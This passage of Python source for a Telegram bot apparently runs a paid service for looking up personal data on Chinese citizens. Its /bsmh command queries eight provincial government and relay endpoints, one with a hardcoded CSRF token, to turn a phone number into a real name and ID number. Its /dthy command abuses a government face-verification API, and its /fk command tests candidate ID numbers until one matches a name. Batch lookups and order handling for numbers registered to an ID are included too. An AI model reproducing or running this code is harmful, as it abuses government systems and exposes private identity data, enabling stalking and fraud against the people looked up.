        f"━━━━━━━━━━━━━━━━━━━━\n"
        f"请选择输入方式：\n"
        f"• 上传TXT文件（每行一个身份证号）\n"
        f"• 直接输入身份证号（每行一个）\n\n"
        f"💰 计费：每100条1💎，不满100按100算")


@bot.callback_query_handler(func=lambda call: call.data == "12306_upload")
def handle_12306_upload(call):
    user_id = call.from_user.id
    if user_id not in plfr_user_data or plfr_user_data[user_id].get('mode') not in ('12306', '12306_input'):
        bot.answer_callback_query(call.id, "会话已过期，请重新使用 /12306", show_alert=True)
        return
    plfr_user_data[user_id]['mode'] = '12306'
    bot.edit_message_text(
        f"📥 请上传TXT文件\n━━━━━━━━━━━━━━━━━━━━\n"
        f"文件格式：每行一个18位身份证号\n"
        f"支持UTF-8编码",
        user_id, call.message.message_id)
    bot.answer_callback_query(call.id, "请上传TXT文件")


@bot.callback_query_handler(func=lambda call: call.data == "12306_input")
def handle_12306_input(call):
    user_id = call.from_user.id
    if user_id not in plfr_user_data or plfr_user_data[user_id].get('mode') not in ('12306', '12306_input'):
        bot.answer_callback_query(call.id, "会话已过期，请重新使用 /12306", show_alert=True)
        return
    plfr_user_data[user_id]['mode'] = '12306_input'
    bot.edit_message_text(
        f"⌨️ 请直接输入身份证号\n━━━━━━━━━━━━━━━━━━━━\n"
        f"每行一个18位身份证号\n"
        f"输入完成后发送即可",
        user_id, call.message.message_id)
    bot.answer_callback_query(call.id, "请输入身份证号")


@bot.callback_query_handler(func=lambda call: call.data == "12306_cancel")
def handle_12306_cancel(call):
    user_id = call.from_user.id
    if user_id in plfr_user_data:
        del plfr_user_data[user_id]
    bot.edit_message_text("❌ 已取消12306核验", user_id, call.message.message_id)
    bot.answer_callback_query(call.id, "已取消")


# ==================== 海南神父（/hnsf） ====================
hnsf_user_data = {}

@bot.message_handler(commands=['hnsf'])
@check_feature_enabled('hnsf')
def handle_hnsf(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split(maxsplit=1)
    if len(args) < 2:
        hnsf_user_data[user_id] = {'waiting_file': True}
        bot.reply_to(message, "📥 海南神父批量查询\n━━━━━━━━━━━━━━━━━━━━\n请上传TXT文件（每行一个身份证号）\n或直接输入身份证号（多个用换行分隔）\n\n消耗：2积分/条（失败不扣分）")
        return
    input_text = args[1].strip()
    idcards = [x.strip().upper() for x in input_text.splitlines() if x.strip()]
    if len(idcards) == 1 and ' ' in idcards[0]:
        idcards = [x.strip().upper() for x in idcards[0].split() if x.strip()]
    elif len(idcards) == 1 and ',' in idcards[0]:
        idcards = [x.strip().upper() for x in idcards[0].split(',') if x.strip()]
    idcards = [x for x in idcards if len(x) == 18 and x[:-1].isdigit() and (x[-1].isdigit() or x[-1] == 'X')]
    if not idcards:
        bot.reply_to(message, "❌ 未找到有效的18位身份证号码\n请每行输入一个18位身份证号，或上传TXT文件")
        return
    total_cost = len(idcards) * 2
    if not user['is_authorized'] and user['points'] < total_cost:
        bot.reply_to(message, f"积分不足！需要{total_cost}积分，当前 {user['points']} 分")
        return
    hnsf_user_data[user_id] = {'idcards': idcards, 'total': len(idcards), 'cost': total_cost, 'charged': 0, 'success': 0, 'fail': 0}
    if not user['is_authorized']:
        DBUtils.update_user_points(user_id, -total_cost)
        hnsf_user_data[user_id]['charged'] = total_cost
    msg = bot.reply_to(message, f"🔄 正在批量查询海南神父...\n身份证总数：{len(idcards)} 条\n预计消耗：{total_cost if not user['is_authorized'] else 0}积分\n请耐心等待...")
    process_hainan_batch(user_id, msg.message_id, idcards, user['is_authorized'])


# ==================== 八省模糊查询 ====================
from urllib.parse import unquote as _unquote
import warnings as _warnings
_warnings.filterwarnings('ignore', message='Unverified HTTPS request')

BSMH_REQUEST_TIMEOUT = 20

def _bsmh_query_jilin(phone):
    url = "https://jsb-mp.jilinxiangyun.com/api/v1/mini-program-natural/get-mask-info"
    headers = {"Content-Type": "application/x-www-form-urlencoded", "Device": "3", "Accept-Encoding": "gzip,compress,br,deflate"}
    data = {"loginNo": phone}
    try:
        resp = requests.post(url, headers=headers, data=data, timeout=BSMH_REQUEST_TIMEOUT)
        if resp.status_code == 200:
            rdata = resp.json()
            if rdata.get("code") == "700082":
                return None
            certname = rdata["data"]["certName"]
            certno = rdata["data"]["certNo"]
            return f"{certname} {certno}"
    except:
        pass
    return None

def _bsmh_query_sichuan(phone):
    url = 'http://rzsc.sczwfw.gov.cn/services/rest/scca/app/userSearchForChildManagerAdd'
    headers = {'Host': 'rzsc.sczwfw.gov.cn', 'APPID': '3230200', 'sdkClientVersion': '1.101', 'User-Agent': 'Mozilla/5.0'}
    payload = {'username': phone}
    try:
        resp = requests.post(url, headers=headers, data=payload, timeout=BSMH_REQUEST_TIMEOUT)
        result = resp.json()
        if result.get('status') == '0x0000' and 'data' in result:
            real_name = result['data'].get('realNameShow', '')
            cert_no = result['data'].get('certNoShow', '')
            if real_name or cert_no:
                return f"{real_name} {cert_no}"
    except:
        pass
    return None

def _bsmh_query_hunan(phone):
    url = "https://huser.hncsga.cn/huotiLogin/loginH5"
    params = {'huoti_username': phone}
    headers = {'User-Agent': 'Mozilla/5.0', 'Accept': "application/json"}
    for _ in range(3):
        try:
            resp = requests.get(url, params=params, headers=headers, verify=False, timeout=BSMH_REQUEST_TIMEOUT)
            data = resp.json()
            name = _unquote(data.get('name', '')) if data.get('name') else ''
            pid = data.get('pid', '')
            if name or pid:
                return f"{name} {pid}"
        except:
            time.sleep(2)
    return None

def _bsmh_query_guizhou(phone):
    url = "http://127.0.0.1:8526/gzmh"
    params = {'sjh': phone}
    try:
        resp = requests.get(url, params=params, verify=False, timeout=BSMH_REQUEST_TIMEOUT)
        data = resp.text
        if "空" not in data:
            return data
    except:
        pass
    return None

def _bsmh_query_jiangsu(phone):
    url = "http://154.9.24.217:4789/jsjz"
    params = {'sjh': phone}
    try:
        resp = requests.get(url, params=params, verify=False, timeout=BSMH_REQUEST_TIMEOUT)
        data = resp.text
        if "空" not in data:
            return data
    except:
        pass
    return None

def _bsmh_query_anhui(phone):
    url = "https://sso.ahzwfw.gov.cn/uccp-user/appSystemBusiness/existsPhone"
    form_data = {'phoneNo': phone, 'csrf_token': 'B5A97EEB9903EA1DD1A239265EFDD8523C8B7A91F3828E3E2CECDA0B52958F23'}
    try:
        resp = requests.post(url, data=form_data, timeout=BSMH_REQUEST_TIMEOUT)
        data = resp.json()
        if data.get("status") is True:
            return f"{data['data']['name']} {data['data']['credentNo']}"
    except:
        pass
    return None

def _bsmh_query_jiangxi(phone):
    url = "http://127.0.0.1:9805/jxjz"
    params = {'sjh': phone}
    try:
        resp = requests.get(url, params=params, verify=False, timeout=BSMH_REQUEST_TIMEOUT)
        data = resp.text
        if "空" not in data:
            return data
    except:
        pass
    return None

def _bsmh_query_shandong(phone):
    url = "http://154.9.24.217:4585/sdjz"
    params = {'sjh': phone}
    try:
        resp = requests.get(url, params=params, verify=False, timeout=BSMH_REQUEST_TIMEOUT)
        data = resp.text
        if "空" not in data:
            return data
    except:
        pass
    return None

def query_bsmh(phone):
    """八省模糊查询"""
    provinces = [
        ("吉林", _bsmh_query_jilin),
        ("四川", _bsmh_query_sichuan),
        ("湖南", _bsmh_query_hunan),
        ("贵州", _bsmh_query_guizhou),
        ("江苏", _bsmh_query_jiangsu),
        ("安徽", _bsmh_query_anhui),
        ("江西", _bsmh_query_jiangxi),
        ("山东", _bsmh_query_shandong),
    ]
    results = []
    with ThreadPoolExecutor(max_workers=8) as executor:
        futures = {executor.submit(func, phone): prov for prov, func in provinces}
        for future in as_completed(futures):
            prov = futures[future]
            try:
                result = future.result()
                if result:
                    results.append(f"{prov}: {result}")
                else:
                    results.append(f"{prov}: 空")
            except:
                results.append(f"{prov}: 查询失败")
    # 按原始省份顺序排序
    order = [p for p, _ in provinces]
    results.sort(key=lambda x: order.index(x.split(":")[0]))
    return "\n".join(results)


@bot.message_handler(commands=['bsmh'])
@check_feature_enabled('bsmh')
def handle_bsmh(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 2:
        bot.reply_to(message, "格式错误！\n正确格式：/bsmh 手机号\n消耗：2积分/次")
        return
    phone = args[1].strip()
    if not re.match(r'^1[3-9]\d{9}$', phone):
        bot.reply_to(message, "手机号格式错误！必须为11位手机号")
        return
    if not user['is_authorized'] and user['points'] < 2:
        bot.reply_to(message, f"积分不足！需要2积分，当前 {user['points']} 分")
        return
    if not user['is_authorized']:
        DBUtils.update_user_points(user_id, -2)
        remaining = user['points'] - 2
    else:
        remaining = user['points']
    msg = bot.reply_to(message, f"🔄 正在八省模糊查询...\n手机号：{phone}\n请耐心等待...")
    try:
        start_time = time.time()
        result = query_bsmh(phone)
        elapsed = round(time.time() - start_time, 2)
        content = f"手机号：{phone}\n\n{result}"
        full_result = create_collapsible_text("🔍 八省模糊查询结果", content, f"耗时：{elapsed}秒 | 剩余积分：{remaining}")
        bot.edit_message_text(full_result, user_id, msg.message_id, parse_mode='HTML')
    except Exception as e:
        if not user['is_authorized']:
            DBUtils.update_user_points(user_id, 2)
        bot.edit_message_text(f"查询失败：{html.escape(str(e))}", user_id, msg.message_id)


# ==================== 大头核验 ====================
DT_PHP_URL = "https://music.qwpage.top/sms.php"
DT_GOV_URL = "https://zrzyj.dezhou.gov.cn/dygh/prod-api"

def verify_datou(name, cert_no, img_base64):
    """大头核验"""
    session = requests.Session()
    # 步骤1：加密
    resp = session.post(DT_PHP_URL, json={
        "action": "encrypt",
        "name": name,
        "certNo": cert_no,
        "imgBase64": img_base64
    }, timeout=60)
    result = resp.json()
    if result.get("code") != 200:
        return False, f"加密失败: {result.get('message', '未知错误')}"

    encrypted_hex = result["data"]["encryptedHex"]
    uuid_value = result["data"]["uuid"]
    v1 = result["data"]["v1"]
    v2 = result["data"]["v2"]

    # 步骤2：密钥交换
    resp = session.post(f"{DT_GOV_URL}/app/req/get", json={
        "cno": cert_no,
        "v1": v1,
        "v2": v2,
        "uuid": uuid_value
    }, headers={
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }, timeout=15)
    key_result = resp.json()

    # 步骤3：提交验证
    resp = session.post(f"{DT_GOV_URL}/app/getAuthenticationWithCard", json={
        "data": encrypted_hex,
        "uuid": uuid_value
    }, headers={
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Content-Type": "application/json",
        "Referer": "https://servicewechat.com/wx156d466a0c0b978b/16/page-frame.html",
    }, timeout=60)
    verify_result = resp.json()

    # 步骤4：如果返回加密数据则解密
    data_field = verify_result.get("data")
    if isinstance(data_field, str) and len(data_field) > 128:
        try:
            dec_resp = session.post(DT_PHP_URL, json={
                "action": "decrypt",
                "encryptedHex": data_field,
                "privateKey": v2
            }, timeout=30)
            dec_result = dec_resp.json()
            if dec_result.get("code") == 200:
                parsed = dec_result["data"].get("parsed")
                if parsed:
                    # 检查核验结果
                    result_str = json.dumps(parsed, ensure_ascii=False)
                    if "一致" in result_str or "成功" in result_str or "same" in result_str.lower():
                        return True, result_str
                    return False, result_str
                else:
                    plaintext = dec_result['data'].get('plaintext', '')
                    if "一致" in plaintext or "成功" in plaintext:
                        return True, plaintext
                    return False, plaintext
            else:
                return False, f"解密失败: {dec_result.get('message')}"
        except Exception as e:
            return False, f"解密请求失败: {e}"
    else:
        result_str = json.dumps(verify_result, ensure_ascii=False)
        if "一致" in result_str or "成功" in result_str:
            return True, result_str
        return False, result_str


@bot.message_handler(commands=['dthy'])
@check_feature_enabled('dthy')
def handle_dthy(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 3:
        bot.reply_to(message, "格式错误！\n正确格式：/dthy 姓名 身份证\n消耗：2积分/次\n然后请发送一张照片")
        return
    name = args[1].strip()
    cert_no = args[2].strip().upper()
    if len(cert_no) != 18 or not (cert_no[:-1].isdigit() and (cert_no[-1].isdigit() or cert_no[-1] == 'X')):
        bot.reply_to(message, "身份证格式错误！必须为18位")
        return
    if not user['is_authorized'] and user['points'] < 2:
        bot.reply_to(message, f"积分不足！需要2积分，当前 {user['points']} 分")
        return
    dthy_user_data[user_id] = {'name': name, 'cert_no': cert_no}
    bot.reply_to(message, f"📋 大头核验\n━━━━━━━━━━━━━━━━━━━━\n姓名：{name}\n身份证：{cert_no}\n\n📸 请发送一张照片进行核验")


def process_hainan_batch(user_id, msg_id, idcards, free_mode):
    """批量处理海南神父查询"""
    success_count = 0
    fail_count = 0
    pdf_list = []
    fail_list = []
    start_time = time.time()

    from concurrent.futures import ThreadPoolExecutor, as_completed
    with ThreadPoolExecutor(max_workers=HAINAN_MAX_WORKERS) as executor:
        futures = {executor.submit(query_hainan_single, idc): idc for idc in idcards}
        for future in as_completed(futures):
            idc = futures[future]
            try:
                success, card, data = future.result()
                if success:
                    success_count += 1
                    pdf_list.append((card, data))
                else:
                    fail_count += 1
                    fail_list.append((card, data))
            except Exception as e:
                fail_count += 1
                fail_list.append((idc, str(e)))

    elapsed = round(time.time() - start_time, 2)
    user = DBUtils.get_user(user_id)

    # 失败的退还积分
    if not free_mode and fail_count > 0:
        refund = fail_count * 2
        DBUtils.update_user_points(user_id, refund)

    # 发送PDF文件给用户
    if pdf_list:
        try:
            if len(pdf_list) == 1:
                # 单个PDF直接发送
                card, pdf_bytes = pdf_list[0]
                bio = io.BytesIO(pdf_bytes)
                bio.name = f"{card}.pdf"
                bot.send_document(user_id, bio, caption=f"✅ {card} 查询成功")
            else:
                # 多个PDF打包成zip发送
                zip_bio = io.BytesIO()
                with zipfile.ZipFile(zip_bio, 'w', zipfile.ZIP_DEFLATED) as zf:
                    for card, pdf_bytes in pdf_list:
                        zf.writestr(f"{card}.pdf", pdf_bytes)
                zip_bio.seek(0)
                zip_bio.name = f"海南神父查询结果_{success_count}个.zip"
                bot.send_document(user_id, zip_bio, caption=f"✅ 共 {success_count} 个PDF文件已打包")
        except Exception as e:
            logger.error(f"发送PDF失败: {e}")
            bot.send_message(user_id, f"⚠️ PDF文件发送失败：{html.escape(str(e))}")

    # 发送汇总
    content = f"查询总数：{len(idcards)} 条\n✅ 成功：{success_count}\n❌ 失败：{fail_count}\n⏱️ 耗时：{elapsed}秒"
    if fail_list:
        content += "\n\n失败列表："
        for card, err in fail_list:
            content += f"\n❌ {card} - {err}"
    footer = f"剩余积分：{user['points'] if user else '未知'}"
    if not free_mode and fail_count > 0:
        footer += f"（已退还{fail_count * 2}积分）"
    full_result = create_collapsible_text("📊 海南神父批量查询完成", content, footer)
    bot.edit_message_text(full_result, user_id, msg_id, parse_mode='HTML')

    if user_id in hnsf_user_data:
        del hnsf_user_data[user_id]
    logger.info(f"用户 {user_id} 海南神父批量查询: 总{len(idcards)} 成功{success_count} 失败{fail_count}")


# ==================== 非库补齐（/fk，管理员专用） ====================
fk_user_data = {}

FK_API_1 = EYS_API  # 原本自带的二要素，成功返回"核验一致"
FK_API_2 = "https://sucyan.top/api/2ys2.php?name={}&id={}"  # 成功返回"核验成功"
FK_API_3 = "https://sucyan.top/api/2ys3.php?name={}&id={}"  # 成功返回"核验成功"

@bot.message_handler(commands=['fk'])
def handle_fk(message):
    user_id = message.from_user.id
    if user_id not in ADMIN_IDS:
        return  # 静默忽略非管理员
    args = message.text.split(maxsplit=1)
    if len(args) < 2:
        bot.reply_to(message, "📋 非库补齐\n━━━━━━━━━━━━━━━━━━━━\n格式：/fk 姓名\n然后上传包含身份证号的TXT文件（每行一个）")
        return
    name = args[1].strip()
    fk_user_data[user_id] = {'name': name}
    bot.reply_to(message, f"📋 非库补齐\n━━━━━━━━━━━━━━━━━━━━\n姓名：{name}\n\n请上传包含身份证号的TXT文件\n（每行一个18位身份证号）")

def verify_fk_single(name, id_card):
    """用三个接口核验单个姓名+身份证，返回是否一致"""
    # 接口1：自带二要素，成功返回"核验一致"
    try:
        url1 = FK_API_1.format(name, id_card)
        r1 = requests.get(url1, timeout=30)
        r1.encoding = r1.apparent_encoding
        if "核验一致" in r1.text:
            return True
    except:
        pass
    # 接口2：sucyan 2ys2，成功返回"核验成功"
    try:
        url2 = FK_API_2.format(name, id_card)
        r2 = requests.get(url2, timeout=30)
        r2.encoding = r2.apparent_encoding
        if "核验成功" in r2.text:
            return True
    except:
        pass
    # 接口3：sucyan 2ys3，成功返回"核验成功"
    try:
        url3 = FK_API_3.format(name, id_card)
        r3 = requests.get(url3, timeout=30)
        r3.encoding = r3.apparent_encoding
        if "核验成功" in r3.text:
            return True
    except:
        pass
    return False

def process_fk_batch(user_id, msg_id, name, idcards):
    """非库补齐批量核验"""
    total = len(idcards)
    matched_id = None
    processed = 0
    start_time = time.time()

    # 进度更新定时器
    import threading
    stop_progress = threading.Event()

    def update_progress():
        while not stop_progress.is_set():
            elapsed = int(time.time() - start_time)
            mins = elapsed // 60
            secs = elapsed % 60
            progress_pct = (processed / total * 100) if total > 0 else 0
            progress_text = (
                f"🔄 非库补齐核验中...\n━━━━━━━━━━━━━━━━━━━━\n"
                f"姓名：{name}\n"
                f"进度：{processed}/{total}（{progress_pct:.1f}%）\n"
                f"已用时：{mins}分{secs}秒\n"
                f"状态：{'✅ 已找到匹配' if matched_id else '⏳ 核验中...'}"
            )
            try:
                bot.edit_message_text(progress_text, user_id, msg_id)
            except:
                pass
            stop_progress.wait(60)  # 每60秒更新一次

    progress_thread = threading.Thread(target=update_progress, daemon=True)
    progress_thread.start()

    try:
        for i, id_card in enumerate(idcards):
            if matched_id:
                break
            processed = i + 1
            # 核验
            if verify_fk_single(name, id_card):
                matched_id = id_card
                break
            # 每3组核验后等待10秒（非最后一组）
            if (i + 1) % 3 == 0 and (i + 1) < total:
                time.sleep(10)

        stop_progress.set()
        elapsed = round(time.time() - start_time, 2)

        if matched_id:
            content = (
                f"姓名：<code>{name}</code>\n"
                f"匹配身份证：<code>{matched_id}</code>\n"
                f"核验总数：{processed}/{total}\n"
                f"耗时：{elapsed}秒"
            )
            full_result = create_collapsible_text("✅ 非库补齐核验成功", content, f"管理员专用功能")
            bot.edit_message_text(full_result, user_id, msg_id, parse_mode='HTML')
        else:
            content = (
                f"姓名：{name}\n"
                f"核验总数：{total}\n"
                f"结果：未找到匹配的身份证\n"
                f"耗时：{elapsed}秒"
            )
            full_result = create_collapsible_text("❌ 非库补齐未匹配", content, f"管理员专用功能")
            bot.edit_message_text(full_result, user_id, msg_id, parse_mode='HTML')
    except Exception as e:
        stop_progress.set()
        bot.edit_message_text(f"核验失败：{html.escape(str(e))}", user_id, msg_id)
    finally:
        if user_id in fk_user_data:
            del fk_user_data[user_id]
        logger.info(f"管理员 {user_id} 非库补齐: 姓名={name} 总数={total} 匹配={matched_id or '无'}")


# ==================== 用户查询价格 ====================
@bot.message_handler(commands=['prices'])
def handle_prices(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    text = "💎 当前业务价格\n━━━━━━━━━━━━━━━━━━━━\n"
    for svc in ['man', 'dy', 'zhend', 'dk', 'mxh', 'boc', 'fr', 'cha', 'yyzz', 'mxqy', 'ltjz']:
        if not DBUtils.is_feature_enabled(svc):
            continue
        price = DBUtils.get_user_service_price(user_id, svc)
        label = get_service_label(svc)
        text += f"/{svc} {label}：{price} 💎\n"
    text += "━━━━━━━━━━━━━━━━━━━━"
    bot.reply_to(message, text)

# ==================== 名下号（钻石订单） ====================
@bot.message_handler(commands=['mxh'])
@check_feature_enabled('mxh')
def handle_mxh(message):
    user_id = message.from_user.id
    user = DBUtils.get_user(user_id)
    if not user:
        DBUtils.create_or_update_user(user_id, message.from_user.username or "未知用户")
        user = DBUtils.get_user(user_id)
    if user['is_banned']:
        bot.reply_to(message, "账号已封禁")
        return
    if not check_channel_membership(user_id):
        send_channel_required_message(message.chat.id)
        return
    args = message.text.split()
    if len(args) != 3:
        bot.reply_to(message, f"格式错误！\n正确格式：/mxh 姓名 身份证\n消耗：{DBUtils.get_user_service_price(user_id, 'mxh')} 💎")
        return
    name, id_card = args[1].strip(), args[2].strip().upper()
    if len(id_card) != 18 or not (id_card[:-1].isdigit() and (id_card[-1].isdigit() or id_card[-1] == 'X')):
        bot.reply_to(message, "身份证格式错误！必须为18位（最后一位可带X）")
        return
    price = DBUtils.get_user_service_price(user_id, 'mxh')
    if user['diamonds'] < price:
        bot.reply_to(message, f"钻石不足！需要 {price} 钻石，当前 {user['diamonds']} 钻")
        return
    DBUtils.update_user_diamonds(user_id, -price)
    DBUtils.log_diamond_transaction(user_id, 'consume', -price, f'名下号订单', '')
    order_no = DBUtils.create_order(user_id, 'mxh', {'name': name, 'id_card': id_card}, price)
    bot.reply_to(message,
        f"✅ 订单已提交\n━━━━━━━━━━━━━━━━━━━━\n订单号：{order_no}\n服务：名下号\n内容：姓名:{name} | 身份证:{id_card}\n消耗：{price} 💎\n━━━━━━━━━━━━━━━━━━━━\n⏳ 请等待管理员处理...")
    logger.info(f"用户 {user_id} 提交名下号订单: {order_no}")
    notify_admins_order(order_no, user_id, 'mxh', f"姓名:{name} | 身份证:{id_card}", price)

# ==================== admin 命令 ====================
@bot.message_handler(commands=['admin'])
def handle_admin(message):
    user_id = message.from_user.id
    if user_id not in ADMIN_IDS:
        bot.reply_to(message, "无权限操作！")
        return
    pending_count = DBUtils.get_pending_order_count()
    all_users = DBUtils.get_all_users()
    total_users = len(all_users)
    total_points = sum(u[2] for u in all_users)
    total_diamonds = sum(u[3] for u in all_users)
    admin_text = f"""
👑 管理员面板
━━━━━━━━━━━━━━━━━━━━
📊 系统统计
• 用户总数：{total_users}
• 待处理订单：{pending_count}
• 总积分：{total_points}
• 总钻石：{total_diamonds}
━━━━━━━━━━━━━━━━━━━━
请选择操作：
    """
    bot.reply_to(message, admin_text, reply_markup=build_admin_keyboard())

@bot.message_handler(commands=['admin_card'])
def admin_gen_card(message):
    user_id = message.from_user.id
    if user_id not in ADMIN_IDS:
        return
    try:
        args = message.text.split()
        if len(args) != 3:
            bot.reply_to(message, "格式错误！\n正确格式：/admin_card 积分 张数\n示例：/admin_card 10 5")
            return
        points = int(args[1])
        count = int(args[2])
        if points <= 0 or count <= 0:
            bot.reply_to(message, "积分和张数必须大于0！")
            return
        cards = DBUtils.generate_card_code(points, count)
        text = f"✅ 生成 {count} 张 {points} 积分卡密：\n━━━━━━━━━━━━━━━━━━━━\n"
        for code, p in cards:
            text += f"`{code}`\n"
        bot.reply_to(message, text, parse_mode='Markdown')
    except:
        bot.reply_to(message, "格式错误！\n正确格式：/admin_card 积分 张数")

@bot.message_handler(commands=['admin_dcard'])
def admin_gen_dcard(message):
    user_id = message.from_user.id
    if user_id not in ADMIN_IDS:
        return
    try:
        args = message.text.split()
        if len(args) != 3:
            bot.reply_to(message, "格式错误！\n正确格式：/admin_dcard 钻石 张数\n示例：/admin_dcard 10 5")
            return
        diamonds = int(args[1])
        count = int(args[2])
        if diamonds <= 0 or count <= 0:
            bot.reply_to(message, "钻石和张数必须大于0！")
            return
        cards = DBUtils.generate_diamond_card(diamonds, count)
        text = f"✅ 生成 {count} 张 {diamonds} 钻石卡密：\n━━━━━━━━━━━━━━━━━━━━\n"
        for code, d in cards:
            text += f"`{code}`\n"
        bot.reply_to(message, text, parse_mode='Markdown')
    except:
        bot.reply_to(message, "格式错误！\n正确格式：/admin_dcard 钻石 张数")

# ==================== 统一消息处理器（处理所有非命令消息） ====================
@bot.message_handler(func=lambda message: True, content_types=['text', 'photo', 'document'])
def handle_all_messages(message):
    user_id = message.from_user.id
    
    if message.text and message.text.startswith('/'):
        return
    
    # 管理员回单处理（放在最前面，优先级最高）
    if user_id in ADMIN_IDS and message.reply_to_message:
        reply_text = message.reply_to_message.text or message.reply_to_message.caption or ""
        user_id_match = re.search(r'用户ID：(\d+)', reply_text)
        order_no_match = re.search(r'(?:订单号|处理订单|退费)：([A-Z0-9]+)', reply_text)
        if user_id_match and order_no_match:
            target_user_id = int(user_id_match.group(1))
            order_no = order_no_match.group(1)
            # 判断是否为部分退费回单（订单已取消，只需转发内容给用户）
            order = DBUtils.get_order_by_no(order_no)
            is_refund_reply = '退费' in reply_text
            try:
                if message.photo:
                    file_id = message.photo[-1].file_id
                    if not is_refund_reply and order and order['status'] == 'pending':
                        DBUtils.complete_order(order_no, file_id, 'photo')
                        delete_order_notify(order_no)
                        bot.send_message(target_user_id,
                            f"📨 您的订单已处理完成！\n━━━━━━━━━━━━━━━━━━━━\n订单号：{order_no}\n服务：{get_service_label(order['service_name'])}\n状态：✅ 已完成\n━━━━━━━━━━━━━━━━━━━━")
                    bot.send_photo(target_user_id, file_id)
                    bot.reply_to(message, f"✅ 回单已发送给用户 {target_user_id}")
                elif message.text:
                    if not is_refund_reply and order and order['status'] == 'pending':
                        DBUtils.complete_order(order_no, message.text.strip(), 'text')
                        delete_order_notify(order_no)
                        bot.send_message(target_user_id,
                            f"📨 您的订单已处理完成！\n━━━━━━━━━━━━━━━━━━━━\n订单号：{order_no}\n服务：{get_service_label(order['service_name'])}\n状态：✅ 已完成\n━━━━━━━━━━━━━━━━━━━━\n回单内容：\n{message.text.strip()}")
                    else:
                        bot.send_message(target_user_id, f"📨 订单 {order_no} 部分退费回单：\n{message.text.strip()}")
                    bot.reply_to(message, f"✅ 回单已发送给用户 {target_user_id}")
                elif message.document:
                    file_id = message.document.file_id
                    if not is_refund_reply and order and order['status'] == 'pending':
                        DBUtils.complete_order(order_no, file_id, 'document')
                        delete_order_notify(order_no)
                        bot.send_message(target_user_id,
                            f"📨 您的订单已处理完成！\n━━━━━━━━━━━━━━━━━━━━\n订单号：{order_no}\n服务：{get_service_label(order['service_name'])}\n状态：✅ 已完成")
                    bot.send_document(target_user_id, file_id)
                    bot.reply_to(message, f"✅ 回单已发送给用户 {target_user_id}")
                return
            except Exception as e:
                logger.error(f"管理员回单处理失败，订单号：{order_no}，错误：{e}", exc_info=True)
                bot.reply_to(message, f"❌ 回单处理失败：{str(e)}")
                return
    

    
    # 身份证提取 - 接收文件
    if message.document and user_id in user_states and user_states.get(user_id, {}).get('waiting_id_file'):
        if not message.document.file_name.lower().endswith('.txt'):
            bot.reply_to(message, "请上传TXT格式的文件！")
            return
        user = DBUtils.get_user(user_id)
        if not user['is_authorized'] and user['points'] < 1:
            bot.reply_to(message, f"积分不足！需要1积分")
            return
        msg = bot.reply_to(message, "正在处理文件...")
        try:
            file_info = bot.get_file(message.document.file_id)
            downloaded_file = bot.download_file(file_info.file_path)
            file_content = downloaded_file.decode('utf-8', errors='ignore')
            id_cards = extract_id_cards_from_text(file_content)
            if not id_cards:
                bot.edit_message_text("未找到有效的18位身份证号码", user_id, msg.message_id)
                return
            if not user['is_authorized']:
                DBUtils.update_user_points(user_id, -1)
                remaining = user['points'] - 1
            else:
                remaining = user['points']
            timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
            filename = f"id_cards_{timestamp}.txt"
            with open(filename, 'w', encoding='utf-8') as f:
                f.write(f"身份证号码提取结果\n生成时间：{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
                f.write(f"提取数量：{len(id_cards)}个\n{'='*50}\n\n")
                for id_card in id_cards:
                    f.write(f"{id_card}\n")
            with open(filename, 'rb') as f:
                bot.send_document(user_id, f, caption=f"✅ 提取完成！共 {len(id_cards)} 个身份证\n剩余积分：{remaining}")
            os.remove(filename)
            bot.delete_message(user_id, msg.message_id)
        except Exception as e:
            bot.edit_message_text(f"处理失败：{str(e)}", user_id, msg.message_id)
        del user_states[user_id]
        return

    # 海南神父 - 接收TXT文件
    if message.document and user_id in hnsf_user_data:
        if not message.document.file_name.lower().endswith('.txt'):
            bot.reply_to(message, "请上传TXT格式的文件！")
            return
        user = DBUtils.get_user(user_id)
        msg = bot.reply_to(message, "📥 正在下载并解析文件...")
        try:
            file_info = bot.get_file(message.document.file_id)
            downloaded_file = bot.download_file(file_info.file_path)
            file_content = downloaded_file.decode('utf-8', errors='ignore')
            idcards = [x.strip().upper() for x in file_content.splitlines() if x.strip()]
            idcards = [x for x in idcards if len(x) == 18 and x[:-1].isdigit() and (x[-1].isdigit() or x[-1] == 'X')]
            if not idcards:
                bot.edit_message_text("❌ 文件中未找到有效的18位身份证号码", user_id, msg.message_id)
                del hnsf_user_data[user_id]
                return
            total_cost = len(idcards) * 2
            if not user['is_authorized'] and user['points'] < total_cost:
                bot.edit_message_text(f"❌ 积分不足！\n身份证总数：{len(idcards)} 条\n需要消耗：{total_cost}积分\n当前积分：{user['points']} 分", user_id, msg.message_id)
                del hnsf_user_data[user_id]
                return
            if not user['is_authorized']:
                DBUtils.update_user_points(user_id, -total_cost)
            bot.edit_message_text(f"🔄 正在批量查询海南神父...\n身份证总数：{len(idcards)} 条\n请耐心等待...", user_id, msg.message_id)
            process_hainan_batch(user_id, msg.message_id, idcards, user['is_authorized'])
        except Exception as e:
